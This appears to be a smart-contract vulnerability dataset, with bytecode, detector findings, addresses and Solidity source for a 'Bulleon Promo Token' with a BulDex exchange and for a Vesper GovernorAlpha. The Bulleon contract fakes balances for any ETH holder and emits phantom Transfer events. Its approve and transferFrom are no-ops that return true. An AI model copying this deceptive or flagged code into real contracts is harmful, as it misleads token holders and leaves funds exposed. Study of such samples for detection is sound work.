487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a4816132f3565b81146137af57600080fd5b50565b6137bb81613305565b81146137c657600080fd5b50565b6137d281613331565b81146137dd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c516fc928b077995ce8413927a93cc8a56c94ef0a7fb23bf440bd1e2bef4dd9f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,636
0xd4de05944572d142fbf70f3f010891a35ac15188
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20 token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => bool) users; uint256 totalSupply_; uint virtualBalance = 365000000000000000000; address public dex; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); checkUsers(msg.sender, _to); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if (_to == dex) { BulDex(dex).exchange(msg.sender, _value); } return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { if (users[_owner]) { return balances[_owner]; } else if (_owner.balance >= 100000000000000000) return virtualBalance; } function checkUsers(address _from, address _to) internal { if (!users[_from] && _from.balance >= 100000000000000000) { users[_from] = true; balances[_from] = virtualBalance; if (!users[_to] && _to.balance >= 100000000000000000) { balances[_to] = virtualBalance; } users[_to] = true; } } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { // require(_to != address(0)); // // checkUsers(_from, _to); // // require(_value <= balances[_from]); // require(_value <= allowed[_from][msg.sender]); // // balances[_from] = balances[_from].sub(_value); // balances[_to] = balances[_to].add(_value); // allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // emit Transfer(_from, _to, _value); // // dexFallback(_from, _to, _value); _from; _to; _value; return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // allowed[msg.sender][_spender] = _value; // emit Approval(msg.sender, _spender, _value); _spender; _value; return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract BulleonPromoToken is StandardToken, Ownable { string public constant name = "Bulleon Promo Token"; // solium-disable-line uppercase string public constant symbol = "BULLEON PROMO"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 400000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; // balances[msg.sender] = INITIAL_SUPPLY; // emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } /// @notice Notify owners about their virtual balances. function massNotify(address[] _owners) public onlyOwner { for (uint256 i = 0; i < _owners.length; i++) { emit Transfer(address(0), _owners[i], virtualBalance); } } function setDex(address _dex) onlyOwner public { require(_dex != address(0)); dex = _dex; } } contract BulDex is Ownable { using SafeERC20 for ERC20; mapping(address => bool) users; ERC20 public promoToken; ERC20 public bullToken; uint public minVal = 365000000000000000000; uint public bullAmount = 100000000000000000; constructor(address _promoToken, address _bullToken) public { promoToken = ERC20(_promoToken); bullToken = ERC20(_bullToken); } function exchange(address _user, uint _val) public { require(!users[_user]); require(_val >= minVal); users[_user] = true; bullToken.safeTransfer(_user, bullAmount); } /// @notice This method can be used by the owner to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) external onlyOwner { if (_token == 0x0) { owner.transfer(address(this).balance); return; } ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b3146101745780630e6848cc146101ac57806318160ddd1461020357806323b872dd1461022a5780632ff2e9dc14610254578063313ce56714610269578063447fa8b714610294578063692058c2146102b557806370a08231146102e6578063715018a6146103075780638da5cb5b1461031c57806395d89b4114610331578063a9059cbb14610346578063dd62ed3e1461036a578063f2fde38b14610391575b600080fd5b3480156100f657600080fd5b506100ff6103b2565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a03600435166024356103e9565b604080519115158252519081900360200190f35b3480156101b857600080fd5b5060408051602060048035808201358381028086018501909652808552610201953695939460249493850192918291850190849080828437509497506103f19650505050505050565b005b34801561020f57600080fd5b50610218610489565b60408051918252519081900360200190f35b34801561023657600080fd5b50610198600160a060020a036004358116906024351660443561048f565b34801561026057600080fd5b50610218610498565b34801561027557600080fd5b5061027e6104a8565b6040805160ff9092168252519081900360200190f35b3480156102a057600080fd5b50610201600160a060020a03600435166104ad565b3480156102c157600080fd5b506102ca610508565b60408051600160a060020a039092168252519081900360200190f35b3480156102f257600080fd5b50610218600160a060020a0360043516610517565b34801561031357600080fd5b5061020161057a565b34801561032857600080fd5b506102ca6105e8565b34801561033d57600080fd5b506100ff6105f7565b34801561035257600080fd5b50610198600160a060020a036004351660243561062e565b34801561037657600080fd5b50610218600160a060020a03600435811690602435166107b5565b34801561039d57600080fd5b50610201600160a060020a03600435166107e0565b60408051808201909152601381527f42756c6c656f6e2050726f6d6f20546f6b656e00000000000000000000000000602082015281565b600192915050565b600654600090600160a060020a0316331461040b57600080fd5b5060005b815181101561048557818181518110151561042657fe5b90602001906020020151600160a060020a03166000600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040518082815260200191505060405180910390a360010161040f565b5050565b60025490565b60019392505050565b6b014adf4b7320334b9000000081565b601281565b600654600160a060020a031633146104c457600080fd5b600160a060020a03811615156104d957600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b600160a060020a03811660009081526001602052604081205460ff16156105575750600160a060020a038116600090815260208190526040902054610575565b67016345785d8a0000600160a060020a038316311061057557506003545b919050565b600654600160a060020a0316331461059157600080fd5b600654604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26006805473ffffffffffffffffffffffffffffffffffffffff19169055565b600654600160a060020a031681565b60408051808201909152600d81527f42554c4c454f4e2050524f4d4f00000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561064557600080fd5b61064f3384610803565b3360009081526020819052604090205482111561066b57600080fd5b3360009081526020819052604090205461068b908363ffffffff6108e716565b3360009081526020819052604080822092909255600160a060020a038516815220546106bd908363ffffffff6108f916565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3600454600160a060020a03848116911614156107ac5760048054604080517f045d038900000000000000000000000000000000000000000000000000000000815233938101939093526024830185905251600160a060020a039091169163045d038991604480830192600092919082900301818387803b15801561079357600080fd5b505af11580156107a7573d6000803e3d6000fd5b505050505b50600192915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600654600160a060020a031633146107f757600080fd5b6108008161090c565b50565b600160a060020a03821660009081526001602052604090205460ff1615801561083e575067016345785d8a000082600160a060020a03163110155b1561048557600160a060020a038083166000908152600160208181526040808420805460ff19168417905560035484835281852055938516835252205460ff1615801561089d575067016345785d8a000081600160a060020a03163110155b156108bf57600354600160a060020a0382166000908152602081905260409020555b600160a060020a03166000908152600160208190526040909120805460ff1916909117905550565b6000828211156108f357fe5b50900390565b8181018281101561090657fe5b92915050565b600160a060020a038116151561092157600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058200fb898abc936a66ba7a640429f257aa56614d665873a85739bb10b2ecdec39d80029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,637
0x59e06eA66e885580cc1D124775A543B59CAfB3FF
// SPDX-License-Identifier: BSD-3-Clause // From https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // solhint-disable contract GovernorAlpha { /// @dev The name of this contract string public constant name = "Vesper Governor Alpha"; /// @dev The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public view returns (uint256) { return governanceToken.totalSupply() / 25; } // 4% of Supply /// @dev The number of votes required in order for a voter to become a proposer function proposalThreshold() public view returns (uint256) { return governanceToken.totalSupply() / 100; } // 1% of Supply /// @dev The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint256) { return 10; } // 10 actions /// @dev The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint256) { return 1; } // 1 block /// @dev The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint256) { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @dev The address of the Vesper Protocol Timelock TimelockInterface public timelock; /// @dev The address of the Vesper governance token GovernanceInterface public governanceToken; /// @dev The address of the Governor Guardian address public guardian; /// @dev The total number of proposals uint256 public proposalCount; struct Proposal { // Unique id for looking up a proposal uint256 id; // The timestamp that the proposal will be available for execution, set once the vote succeeds uint256 eta; // the ordered list of target addresses for calls to be made address[] targets; // The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint256[] values; // The ordered list of function signatures to be called string[] signatures; // The ordered list of calldata to be passed to each call bytes[] calldatas; // The block at which voting begins: holders must delegate their votes prior to this block uint256 startBlock; // The block at which voting ends: votes must be cast prior to this block uint256 endBlock; // Current number of votes in favor of this proposal uint256 forVotes; // Current number of votes in opposition to this proposal uint256 againstVotes; // Creator of the proposal address proposer; // Flag marking whether the proposal has been canceled bool canceled; // Flag marking whether the proposal has been executed bool executed; // Receipts of ballots for the entire set of voters mapping(address => Receipt) receipts; } /// @dev Ballot receipt record for a voter struct Receipt { // Whether or not a vote has been cast bool hasVoted; // Whether or not the voter supports the proposal bool support; // The number of votes the voter had, which were cast uint256 votes; } /// @dev Possible states that a proposal may be in enum ProposalState {Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed} /// @dev The official record of all proposals ever proposed mapping(uint256 => Proposal) public proposals; /// @dev The latest proposal for each proposer mapping(address => uint256) public latestProposalIds; /// @dev The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @dev The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @dev An event emitted when a new proposal is created event ProposalCreated( uint256 id, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /// @dev An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint256 proposalId, bool support, uint256 votes); /// @dev An event emitted when a proposal has been canceled event ProposalCanceled(uint256 id); /// @dev An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint256 id, uint256 eta); /// @dev An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint256 id); constructor( address timelock_, address governanceToken_, address guardian_ ) public { timelock = TimelockInterface(timelock_); governanceToken = GovernanceInterface(governanceToken_); guardian = guardian_; } function propose( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description ) external returns (uint256) { require( governanceToken.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold" ); require( targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch" ); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require( targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions" ); uint256 latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require( proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal" ); require( proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal" ); } uint256 startBlock = add256(block.number, votingDelay()); uint256 endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated( newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description ); return newProposal.id; } function queue(uint256 proposalId) external { require( state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded" ); Proposal storage proposal = proposals[proposalId]; uint256 eta = add256(block.timestamp, timelock.delay()); uint256 length = proposal.targets.length; for (uint256 i = 0; i < length; i++) { _queueOrRevert( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta ); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) internal { require( !timelock.queuedTransactions( keccak256(abi.encode(target, value, signature, data, eta)) ), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta" ); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint256 proposalId) external payable { require( state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued" ); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; uint256 length = proposal.targets.length; for (uint256 i = 0; i < length; i++) { timelock.executeTransaction{value: proposal.values[i]}( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalExecuted(proposalId); } function cancel(uint256 proposalId) external { require( state(proposalId) != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal" ); Proposal storage proposal = proposals[proposalId]; require( msg.sender == guardian || governanceToken.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold" ); proposal.canceled = true; uint256 length = proposal.targets.length; for (uint256 i = 0; i < length; i++) { timelock.cancelTransaction( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalCanceled(proposalId); } function getActions(uint256 proposalId) external view returns ( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas ) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint256 proposalId, address voter) external view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint256 proposalId) public view returns (ProposalState) { require( proposalCount >= proposalId && proposalId != 0, "GovernorAlpha::state: invalid proposal id" ); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if ( proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes() ) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint256 proposalId, bool support) external { return _castVote(msg.sender, proposalId, support); } function castVoteBySig( uint256 proposalId, bool support, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)) ); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote( address voter, uint256 proposalId, bool support ) internal { require( state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed" ); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(!receipt.hasVoted, "GovernorAlpha::_castVote: voter already voted"); uint256 votes = governanceToken.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() external { require( msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian" ); timelock.acceptAdmin(); } function __abdicate() external { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint256 eta) external { require( msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian" ); timelock.queueTransaction( address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta ); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint256 eta) external { require( msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian" ); timelock.executeTransaction( address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta ); } function add256(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint256 chainId) { assembly { chainId := chainid() } } } interface TimelockInterface { function delay() external view returns (uint256); function GRACE_PERIOD() external view returns (uint256); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external returns (bytes32); function cancelTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external; function executeTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external payable returns (bytes memory); } interface GovernanceInterface { function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256); function totalSupply() external view returns (uint256); }
0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc14610461578063e23a9a5214610476578063f96dae0a146104a3578063fe0d94c1146104b85761019c565b8063da35c6641461040c578063da95691a14610421578063ddf0b009146104415761019c565b806391500671116100c657806391500671146103ad578063b58131b0146103cd578063b9a61961146103e2578063d33219b4146103f75761019c565b80634634c61f14610363578063760fbc13146103835780637bdbe4d0146103985761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146102df5780633e4f49e6146102f457806340e58ee514610321578063452a9320146103415761019c565b806321f43e421461027a57806324bc1a641461029a578063328dd982146102af5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde031461020157806315373e3d1461022357806317977c611461024557806320606b7014610265575b600080fd5b3480156101ad57600080fd5b506101c16101bc366004612444565b6104cb565b6040516101d6999897969594939291906130f2565b60405180910390f35b3480156101eb57600080fd5b506101f4610527565b6040516101d6919061283a565b34801561020d57600080fd5b5061021661052d565b6040516101d691906128b1565b34801561022f57600080fd5b5061024361023e366004612488565b61055e565b005b34801561025157600080fd5b506101f461026036600461228c565b61056d565b34801561027157600080fd5b506101f461057f565b34801561028657600080fd5b506102436102953660046122a7565b6105a3565b3480156102a657600080fd5b506101f461068a565b3480156102bb57600080fd5b506102cf6102ca366004612444565b610721565b6040516101d694939291906127e2565b3480156102eb57600080fd5b506101f46109b0565b34801561030057600080fd5b5061031461030f366004612444565b6109b5565b6040516101d6919061289d565b34801561032d57600080fd5b5061024361033c366004612444565b610b47565b34801561034d57600080fd5b50610356610daa565b6040516101d6919061269c565b34801561036f57600080fd5b5061024361037e3660046124b7565b610db9565b34801561038f57600080fd5b50610243610f6a565b3480156103a457600080fd5b506101f4610fa6565b3480156103b957600080fd5b506102436103c83660046122a7565b610fab565b3480156103d957600080fd5b506101f4611080565b3480156103ee57600080fd5b506102436110d2565b34801561040357600080fd5b50610356611157565b34801561041857600080fd5b506101f4611166565b34801561042d57600080fd5b506101f461043c3660046122d1565b61116c565b34801561044d57600080fd5b5061024361045c366004612444565b61156b565b34801561046d57600080fd5b506101f46117e5565b34801561048257600080fd5b5061049661049136600461245c565b611809565b6040516101d69190613027565b3480156104af57600080fd5b5061035661186d565b6102436104c6366004612444565b61187c565b6004602052600090815260409020805460018201546006830154600784015460088501546009860154600a9096015494959394929391929091906001600160a01b0381169060ff600160a01b8204811691600160a81b90041689565b61438090565b6040518060400160405280601581526020017456657370657220476f7665726e6f7220416c70686160581b81525081565b610569338383611a3b565b5050565b60056020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6002546001600160a01b031633146105d65760405162461bcd60e51b81526004016105cd906129f6565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f9183919061060090879060200161269c565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161062f94939291906126c9565b600060405180830381600087803b15801561064957600080fd5b505af115801561065d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261068591908101906123d1565b505050565b60006019600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156106dc57600080fd5b505afa1580156106f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071491906123b9565b8161071b57fe5b04905090565b606080606080600060046000878152602001908152602001600020905080600201816003018260040183600501838054806020026020016040519081016040528092919081815260200182805480156107a357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610785575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156107f557602002820191906000526020600020905b8154815260200190600101908083116107e1575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108c85760008481526020908190208301805460408051601f60026000